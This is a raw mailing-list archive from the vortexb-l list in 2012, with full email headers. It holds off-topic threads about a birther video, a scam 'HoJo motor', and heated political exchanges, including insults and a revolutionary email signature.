On Fri, Mar = 9, 2012 at 7:50 AM, Vorl Bek <vorl.bek@antichef.com> wrote:


>
= > > http://www.youtube.com/watch?v=3DMwhKuunp8D8&featur= e=3Dplayer_embedded


>
= > The truth of the matter is that we elected a black man as
> = president of the United States.
>
> I suggest those that = have a problem with the reality of this

> = fact...

I don't get it: how does the video have a problem with = Obama's
race? As far as I can tell, it is about whether or not he is = a
natural-born US citizen.

 <= /o:p>

 

------=_NextPart_000_0115_01CCFE07.98D27FA0-- From vortexb-l-request@eskimo.com Fri Mar 9 16:06:50 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q2A06mGu031382; Fri, 9 Mar 2012 16:06:48 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q2A06lFL031374; Fri, 9 Mar 2012 16:06:47 -0800 Resent-Date: Fri, 9 Mar 2012 16:06:47 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:x-mailer:from:subject:date:to; bh=H+0meIMc8NtIao7i3AU/3MG7lWSEgXO/hUnnG5kZWE0=; b=FpXe/7eylFdIZdwjhxKfGDhRVnqnUsxCb86/HMu27b3nmmlej0ODOzup6tHFq3qy3L BIEst9/MXKZdTuBW0UKI2JW08XCZ+sYHfTjZnJKrkC2rtbF0LAJYFg5LaXHSxi0B9TD7 UvcWPaiPSTCo2IeFLjerWXqhFh2TJS7/0UqmSz8jRCBiP1XW/z3uTH3KDG+YwYJBT377 X2RE+lAKLE3CNzB/QuRWsFOLOddYdJG+CpQbrwSERwatlIsm9figpsotxTcNxva0Wy4V msnDTdINGVqpsY0Tg3AybU7V2q/t7KiY3cmlVlUpGU95XgurEKJ5J56uZz1RkBVZYh26 LZ9A== References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> <00f301ccfe3a$01047790$030d66b0$@net> In-Reply-To: <00f301ccfe3a$01047790$030d66b0$@net> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Message-Id: <318ADA70-7269-470E-9CA5-1AEBAB1A31D4@gmail.com> Cc: "" X-Mailer: iPhone Mail (9B179) From: Charles Hope Subject: Re: [VoB]:true or false Date: Fri, 9 Mar 2012 19:02:48 -0500 To: "vortexb-l@eskimo.com" Resent-Message-ID: <4QmwrC.A.AqH.XspWPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4552 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 793 I cannot confirm or deny that the E-cat has killed individuals who were memb= ers of a fascist party.=20 http://en.wikipedia.org/wiki/This_machine_kills_fascists On Mar 9, 2012, at 16:17, "Mark Iverson-ZeroPoint" w= rote: > Charles, > Would you kindly clarify your comment? > Were you being facetious, or serious? > -m >=20 > -----Original Message----- > From: Charles Hope [mailto:lookslikeiwasright@gmail.com]=20 > Sent: Friday, March 09, 2012 12:48 PM > To: grok@resist.ca > Cc: vortexb-l@eskimo.com > Subject: Re: [VoB]:true or false >=20 > THIS E-CAT KILLS FASCISTS >=20 > On Mar 9, 2012, at 15:43, grok wrote: >>=20 >> As the smoke cleared, Mark Iverson-ZeroPoint =20 >> mounted the barricade and roared out: >>=20 >>> Anyone who doesn't flow with hatred such as yours is a fascist in=20 >>> your warped mind... done anything productive lately with your life=20 >>> grok, or just your usual whining and name-calling? >>=20 >> Mind your own fucking business. Stick to OU topix here -- or be=20 >> flamed, asshole. >>=20 >>=20 >> -- grok. >=20 >=20 From vortexb-l-request@eskimo.com Fri Mar 9 16:35:25 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q2A0ZMVg011606; Fri, 9 Mar 2012 16:35:22 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q2A0ZHLX011540; Fri, 9 Mar 2012 16:35:17 -0800 Resent-Date: Fri, 9 Mar 2012 16:35:17 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=8pif782wAAAA:8 a=hOpmn2quAAAA:8 a=8jJHasmG4xi7wVJ-LxcA:9 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> <00f301ccfe3a$01047790$030d66b0$@net> <318ADA70-7269-470E-9CA5-1AEBAB1A31D4@gmail.com> In-Reply-To: <318ADA70-7269-470E-9CA5-1AEBAB1A31D4@gmail.com> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 16:31:58 -0800 Message-ID: <012b01ccfe55$34322ac0$9c968040$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+US7tO2XwgLtzTwu8scQyRgGO0QAA22Dg Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4553 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 794 Thanks... They don't write songs like back in those days... -----Original Message----- From: Charles Hope [mailto:lookslikeiwasright@gmail.com] Sent: Friday, March 09, 2012 4:03 PM To: vortexb-l@eskimo.com Cc: Subject: Re: [VoB]:true or false I cannot confirm or deny that the E-cat has killed individuals who were members of a fascist party. http://en.wikipedia.org/wiki/This_machine_kills_fascists On Mar 9, 2012, at 16:17, "Mark Iverson-ZeroPoint" wrote: > Charles, > Would you kindly clarify your comment? > Were you being facetious, or serious? > -m > > -----Original Message----- > From: Charles Hope [mailto:lookslikeiwasright@gmail.com] > Sent: Friday, March 09, 2012 12:48 PM > To: grok@resist.ca > Cc: vortexb-l@eskimo.com > Subject: Re: [VoB]:true or false > > THIS E-CAT KILLS FASCISTS > > On Mar 9, 2012, at 15:43, grok wrote: >> >> As the smoke cleared, Mark Iverson-ZeroPoint >> mounted the barricade and roared out: >> >>> Anyone who doesn't flow with hatred such as yours is a fascist in >>> your warped mind... done anything productive lately with your life >>> grok, or just your usual whining and name-calling? >> >> Mind your own fucking business. Stick to OU topix here -- or be >> flamed, asshole. >> >> >> -- grok. > > From vortexb-l-request@eskimo.com Mon Mar 12 06:30:51 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q2CDUkbr004110; Mon, 12 Mar 2012 06:30:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q2CDUZ41004045; Mon, 12 Mar 2012 06:30:35 -0700 Resent-Date: Mon, 12 Mar 2012 06:30:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz16.mailnet.ptd.net From: "Jeff Fink" To: Date: Mon, 12 Mar 2012 09:26:35 -0400 Message-ID: <2BA3C7196B20458C88A204668FBACA68@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0043_01CD0032.38752AE0" X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Thread-Index: Ac0AU7885GWp5iMxQj+IQaYh11Ds+g== Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4554 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:HoJo motor? Status: O X-Status: X-Keywords: X-UID: 795 This is a multi-part message in MIME format. ------=_NextPart_000_0043_01CD0032.38752AE0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Anyone hear of the HoJo motor? Probably a scam. Jeff ------=_NextPart_000_0043_01CD0032.38752AE0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 Anyone hear of the HoJo motor?  Probably a = scam.

 

Jeff

 

------=_NextPart_000_0043_01CD0032.38752AE0-- From vortexb-l-request@eskimo.com Mon Mar 12 06:33:34 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q2CDXWTR005848; Mon, 12 Mar 2012 06:33:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q2CDXVbR005841; Mon, 12 Mar 2012 06:33:31 -0700 Resent-Date: Mon, 12 Mar 2012 06:33:31 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=6mOqZEv6gkaw7hO37sbj2gIWmKchtLvad0+3iv1GCbo=; b=hmYaz733QgwumW5W3CKVqW8SGMnr6MEGi9w47ZeLk35GG+cmSfb5gYrCuX5Mt9WXlc HUlgc0OkHKKDhL9A6tNeTGp9lqcFOqsQq1Wl/t+H07pLF0HQAhYyfoO3pHlkk38FG2oG 8XXwYS23KBI8II3lzBCNe7ZMBs27USELS6puJuF+t0F9ilr/ygpajDrKaltn83qvq/EW u5UxTcYJzGwNqzQa96im8FcUAGpkoEOUEohwe2k2lkyvr1vnQYnkSpAgcXklhQR6M+hm T/WDWITA4Uv6yzUF8Axb8CYqNax7hxTMaSsdsCikFf5aYR7trw1WBSTzctUHNS+D9sDC Gb6Q== MIME-Version: 1.0 In-Reply-To: <2BA3C7196B20458C88A204668FBACA68@REVTEC1> References: <2BA3C7196B20458C88A204668FBACA68@REVTEC1> Date: Mon, 12 Mar 2012 15:29:37 +0200 Message-ID: Subject: Re: [VoB]:HoJo motor? From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4555 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 796 These are total scams. Howard Johnson WAS a legitimate inventor, but his name has been taken and abused. I point you to: http://pesn.com/2011/10/04/9501926_Letter_to_Hojo_Motor_Plan_Scammers/ On Mon, Mar 12, 2012 at 3:26 PM, Jeff Fink wrote: > > > > > =A0Anyone hear of the HoJo motor?=A0 Probably a scam. > > > > Jeff > > From vortexb-l-request@eskimo.com Mon Mar 12 08:58:33 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q2CFwUQU011153; Mon, 12 Mar 2012 08:58:30 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q2CFvxXn010566; Mon, 12 Mar 2012 08:57:59 -0700 Resent-Date: Mon, 12 Mar 2012 08:57:59 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 12 Mar 2012 08:53:57 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:HoJo motor? Message-ID: <20120312155356.GA29887@shell.resist.ca> Reply-To: grok@resist.ca References: <2BA3C7196B20458C88A204668FBACA68@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: BMP-3F, Strelets, a, Diaspora, Blackmednet User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4556 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 797 As the smoke cleared, Esa Ruoho mounted the barricade and roared out: > These are total scams. Howard Johnson WAS a legitimate inventor, but > his name has been taken and abused. > I point you to: > http://pesn.com/2011/10/04/9501926_Letter_to_Hojo_Motor_Plan_Scammers/ > > > On Mon, Mar 12, 2012 at 3:26 PM, Jeff Fink wrote: > > > > > > > > > >  Anyone hear of the HoJo motor?  Probably a scam. > > > > > > > > Jeff This stuff keeps cropping up on select, targeted websites as slick, appealing advertisements. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sun Apr 1 14:22:17 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q31LMFwq016953; Sun, 1 Apr 2012 14:22:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q31LLxo7016865; Sun, 1 Apr 2012 14:21:59 -0700 Resent-Date: Sun, 1 Apr 2012 14:21:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsGAKU/KE/O+Ihr/2dsb2JhbACBX48mjk6IcJkUhQWGGQSfIg X-IronPort-AV: E=Sophos;i="4.73,1,1325480400"; d="scan'208";a="171161450" Date: Sun, 1 Apr 2012 17:18:22 -0400 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120401171822.e653b9000d638480c72902f8@antichef.com> In-Reply-To: <1333310644.17130.YahooMailNeo@web24813.mail.ird.yahoo.com> References: <8CEDE4C4DD4716C-1144-197B7@webmail-stg-m03.sysops.aol.com> <1333310644.17130.YahooMailNeo@web24813.mail.ird.yahoo.com> X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <_5_GtC.A.ZHE.2bMePB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4557 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Advanced Theory of Energy/Being Status: O X-Status: X-Keywords: X-UID: 798 > > The asylum of the mentally challenged (a hopefully politically > correct term) closes its doors from the inside, it seems. Funny > that. Historically it has been the other way round. > > "People in Britain Need Permission from U.S. to Board Flights to > Canada, Mexico and Cuba" > > http://www.independent.co.uk/travel/news-and-advice/planning-a-trip-to-canada-or-the-caribbean-us-immigration-may-have-other- > ideas-7584912.html Amazing. It sounds like an April Fool's joke. It is hard to believe that the British do not simply tell the Americans to go to hell. The British really seem like doormats for the Amercians to wipe their feet on. > > Note: > I have been sufficiently often in the US of A, to never ever > have the slightest urge to visit the land of the free and brave > again, although there seems to live a handful of decent people. > On the other hand, there are other areas in the world, where > several handfuls of decent people live. > > To complete my political rant: > It would be best for the world, if the blessed country would > completely disappear from the surface of the earth. The balance > of good vs bad definitely would tilt to the 'good' direction. From vortexb-l-request@eskimo.com Sun Apr 1 15:35:56 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q31MZsKt022603; Sun, 1 Apr 2012 15:35:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q31MZq5b022576; Sun, 1 Apr 2012 15:35:52 -0700 Resent-Date: Sun, 1 Apr 2012 15:35:52 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 1 Apr 2012 15:31:32 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Advanced Theory of Energy/Being Message-ID: <20120401223131.GA708@shell.resist.ca> Reply-To: grok@resist.ca References: <8CEDE4C4DD4716C-1144-197B7@webmail-stg-m03.sysops.aol.com> <1333310644.17130.YahooMailNeo@web24813.mail.ird.yahoo.com> <20120401171822.e653b9000d638480c72902f8@antichef.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20120401171822.e653b9000d638480c72902f8@antichef.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: IRIAF, mafioso, TRANSEC, GAFE, submachine gun User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4558 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 799 The british ruling-class does NOT operate in the interests of everyone else there. Certainly not in the interests of the british working- class. They consider themselves first, foremost and ONLY. Same as anywhere. -- grok. As the smoke cleared, Vorl Bek mounted the barricade and roared out: > > > > The asylum of the mentally challenged (a hopefully politically > > correct term) closes its doors from the inside, it seems. Funny > > that. Historically it has been the other way round. > > > > "People in Britain Need Permission from U.S. to Board Flights to > > Canada, Mexico and Cuba" > > > > http://www.independent.co.uk/travel/news-and-advice/planning-a-trip-to-canada-or-the-caribbean-us-immigration-may-have-other- > > ideas-7584912.html > > Amazing. It sounds like an April Fool's joke. It is hard to > believe that the British do not simply tell the Americans to go to > hell. > > The British really seem like doormats for the Amercians to wipe > their feet on. > > > > > > Note: > > I have been sufficiently often in the US of A, to never ever > > have the slightest urge to visit the land of the free and brave > > again, although there seems to live a handful of decent people. > > On the other hand, there are other areas in the world, where > > several handfuls of decent people live. > > > > To complete my political rant: > > It would be best for the world, if the blessed country would > > completely disappear from the surface of the earth. The balance > > of good vs bad definitely would tilt to the 'good' direction. > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sun Apr 1 15:59:04 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q31Mx1Fb001230; Sun, 1 Apr 2012 15:59:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q31Mx0fi001219; Sun, 1 Apr 2012 15:59:00 -0700 Resent-Date: Sun, 1 Apr 2012 15:59:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; bh=A5MkhbCeA/52224bdmczUx/Tsnf8Ik/9FW1vVV5RYGo=; b=WhXBpHMtbz3DlvU0kQTA3RUpWooDFYBPRvd/dS1b+F+o8I6MOcsC3+NE0X4gY/QUbf V01AF+XWwjt+0rWE0Wn+5Go6wrraTYozbCAx4vMfHJPbmyELaGrF8/l86hSNJRoG6xuY Z8OKBeTvjsi4gZOWhBzRBiu6LLSUv+8olk6Ww7OTf+/W7FOYz9FvLXM8AMFLYkfGaAT/ CHRNE2kK5R/69Ux7JWKTGTphHYimuJvUo/MJVv0aftfG/c5/0rOBAVYBOuaRi7nAtnk0 s9BOQTxVg+ZpW90m86FdiW806UBhIctJd0uRYYfti4wGRxpmYu7z6qVG7LnMuDEnvQrx Da9w== MIME-Version: 1.0 In-Reply-To: <20120401223131.GA708@shell.resist.ca> References: <8CEDE4C4DD4716C-1144-197B7@webmail-stg-m03.sysops.aol.com> <1333310644.17130.YahooMailNeo@web24813.mail.ird.yahoo.com> <20120401171822.e653b9000d638480c72902f8@antichef.com> <20120401223131.GA708@shell.resist.ca> From: Charles HOPE Date: Sun, 1 Apr 2012 18:54:35 -0400 Message-ID: Subject: Re: [VoB]:Re: [Vo]:Advanced Theory of Energy/Being To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d0408d3bf5c56d004bca5f6b2 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4559 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 800 --f46d0408d3bf5c56d004bca5f6b2 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Judging from their opinions on Islam, immigration, and political correctness, it's darn hard to understand how they are even operating in their own class interests, certainly not national interests. On Sun, Apr 1, 2012 at 6:31 PM, grok wrote: > > The british ruling-class does NOT operate in the interests of everyone > else there. Certainly not in the interests of the british working- > class. They consider themselves first, foremost and ONLY. > > Same as anywhere. > > > -- grok. > > > > > > As the smoke cleared, Vorl Bek > mounted the barricade and roared out: > > > > > > > The asylum of the mentally challenged (a hopefully politically > > > correct term) closes its doors from the inside, it seems. Funny > > > that. Historically it has been the other way round. > > > > > > "People in Britain Need Permission from U.S. to Board Flights to > > > Canada, Mexico and Cuba" > > > > > > > http://www.independent.co.uk/travel/news-and-advice/planning-a-trip-to-ca= nada-or-the-caribbean-us-immigration-may-have-other- > > > ideas-7584912.html > > > > Amazing. It sounds like an April Fool's joke. It is hard to > > believe that the British do not simply tell the Americans to go to > > hell. > > > > The British really seem like doormats for the Amercians to wipe > > their feet on. > > > > > > > > > > Note: > > > I have been sufficiently often in the US of A, to never ever > > > have the slightest urge to visit the land of the free and brave > > > again, although there seems to live a handful of decent people. > > > On the other hand, there are other areas in the world, where > > > several handfuls of decent people live. > > > > > > To complete my political rant: > > > It would be best for the world, if the blessed country would > > > completely disappear from the surface of the earth. The balance > > > of good vs bad definitely would tilt to the 'good' direction. > > > > -- > The Financiers & Banksters have looted untold trillions of our future > earnings. > Their bureaucratic police & military goons are here to make us all pay fo= r > it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > **Socialist revolution NOW!!** > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > > And beware the 'bait & switch' fraud: "Social Justice" is NOT > *Socialism*... > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --f46d0408d3bf5c56d004bca5f6b2 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Judging from their opinions on Islam, immigration, and political correctnes= s, it's darn hard to understand how they are even operating in their ow= n class interests, certainly not national interests.




On Sun, Apr 1, 2012 at 6:= 31 PM, grok <grok@re= sist.ca> wrote:

The british ruling-class does NOT operate in the interests of everyone
else there. Certainly not in the interests of the british working-
class. They consider themselves first, foremost and ONLY.

Same as anywhere.


-- grok.





As the smoke cleared, Vorl Bek <vorl.bek@antichef.com>
mounted the barricade and roared out:

> >
> > The asylum of the mentally challenged (a hopefully politically > > correct term) closes its doors from the inside, it seems. Funny > > that. Historically it has been the other way round.
> >
> > "People in Britain Need Permission from U.S. to Board Flight= s to
> > Canada, Mexico and Cuba"
> >
> > http://www.independent.co.uk/travel/news-and-advice/plannin= g-a-trip-to-canada-or-the-caribbean-us-immigration-may-have-other-
> > ideas-7584912.html
>
> Amazing. It sounds like an April Fool's joke. It is hard to
> believe that the British do not simply tell the Americans to go to
> hell.
>
> The British really seem like doormats for the Amercians to wipe
> their feet on.
>
>
> >
> > Note:
> > I have been sufficiently often in the US of A, to never ever
> > have the slightest urge to visit the land of the free and brave > > again, although there seems to live a handful of decent people. > > On the other hand, there are other areas in the world, where
> > several handfuls of decent people live.
> >
> > To complete my political rant:
> > It would be best for the world, if the blessed country would
> > completely disappear from the surface of the earth. The balance > > of good vs bad definitely would tilt to the 'good' direct= ion.
>

--
The Financiers & Banksters have looted untold trillions of our future e= arnings.
Their bureaucratic police & military goons are here to make us all pay = for it.
Forever.
Well FORGET THAT. Let's get it *ALL* back from them -- and more.

**Socialist revolution NOW!!**

Build the North America-wide General Strike.
TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.

And beware the 'bait & switch' fraud: "Social Justice"= ; is NOT *Socialism*...




--
Never did I = see a second sun
Never did my skin touch a land of glass
Never did my= rifle point but true
But in a land empty of enemies
Waiting for the = tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--f46d0408d3bf5c56d004bca5f6b2-- From vortexb-l-request@eskimo.com Sun Apr 1 18:34:19 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q321YD4X006889; Sun, 1 Apr 2012 18:34:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q321Y13O006859; Sun, 1 Apr 2012 18:34:01 -0700 Resent-Date: Sun, 1 Apr 2012 18:34:01 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 1 Apr 2012 18:29:41 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Advanced Theory of Energy/Being Message-ID: <20120402012941.GB708@shell.resist.ca> Reply-To: grok@resist.ca References: <8CEDE4C4DD4716C-1144-197B7@webmail-stg-m03.sysops.aol.com> <1333310644.17130.YahooMailNeo@web24813.mail.ird.yahoo.com> <20120401171822.e653b9000d638480c72902f8@antichef.com> <20120401223131.GA708@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: IRIAF, mafioso, TRANSEC, GAFE, submachine gun User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4560 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 801 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Judging from their opinions on Islam, immigration, and political > correctness, it's darn hard to understand how they are even operating in > their own class interests, certainly not national interests. On the contrary, Charles. Since they operate only in their own interests -- narrow and obtuse as those be -- we are simply all cattle to them: and mere pawns to be used in their struggles amongst themselves, World-wide, for 